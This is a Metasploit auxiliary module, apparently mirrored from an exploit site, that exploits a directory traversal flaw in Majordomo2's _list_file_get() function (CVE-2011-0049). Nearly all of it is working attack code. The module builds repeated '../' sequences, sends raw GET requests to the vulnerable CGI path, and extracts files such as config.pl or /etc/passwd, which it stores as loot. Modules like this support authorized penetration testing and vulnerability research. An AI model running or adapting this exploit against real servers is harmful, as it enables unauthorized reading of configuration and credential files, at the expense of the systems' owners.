## https://sploitus.com/exploit?id=PACKETSTORM:181051
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Majordomo2 _list_file_get() Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability present in
the _list_file_get() function of Majordomo2 (help function). By default, this
module will attempt to download the Majordomo config.pl file.
},
'Author' => ['Nikolas Sotiriu'],
'References' =>
[
['OSVDB', '70762'],
['CVE', '2011-0049'],
['CVE', '2011-0063'],
['URL', 'https://www.sotiriu.de/adv/NSOADV-2011-003.txt'],
['EDB', '16103']
],
'DisclosureDate' => 'Mar 08 2011',
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", 'config.pl']),
OptString.new('URI', [true, 'Majordomo vulnerable URI path', '/cgi-bin/mj_wwwusr/domain=domain?user=&passw=&func=help&extra=']),
OptInt.new('DEPTH', [true, 'Define the max traversal depth', 8]),
])
end
def run_host(ip)
trav_strings = [
'../',
'./.../'
]
uri = normalize_uri(datastore['URI'])
file = datastore['FILE']
deep = datastore['DEPTH']
file = file.gsub(/^\//, "")
trav_strings.each do |trav|
str = ""
i = 1
while (i <= deep)
str = trav * i
payload = "#{str}#{file}"
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri + payload,
}, 25)
if res.nil?
print_error("#{rhost}:#{rport} Connection timed out")
return
end
print_status("#{rhost}:#{rport} Trying URL " + payload )
if (res and res.code == 200 and res.body)
if res.body.match(/\<html\>(.*)\<\/html\>/im)
html = $1
if res.body =~ /unknowntopic/
print_error("#{rhost}:#{rport} Could not retrieve the file")
else
file_data = html.gsub(%r{(.*)<pre>|<\/pre>(.*)}m, '')
print_good("#{rhost}:#{rport} Successfully retrieved #{file} and storing as loot...")
# Transform HTML entities back to the original characters
file_data = file_data.gsub(/\>\;/i, '>').gsub(/\<\;/i, '<').gsub(/\"\;/i, '"')
store_loot("majordomo2.traversal.file", "application/octet-stream", rhost, file_data, file)
return
end
else
print_error("#{rhost}:#{rport} No HTML was returned")
end
else
# if res is nil, we hit this
print_error("#{rhost}:#{rport} Unrecognized #{res.code} response")
end
i += 1;
end
end
print_error("#{rhost}:#{rport} Not vulnerable or the DEPTH setting was too low")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end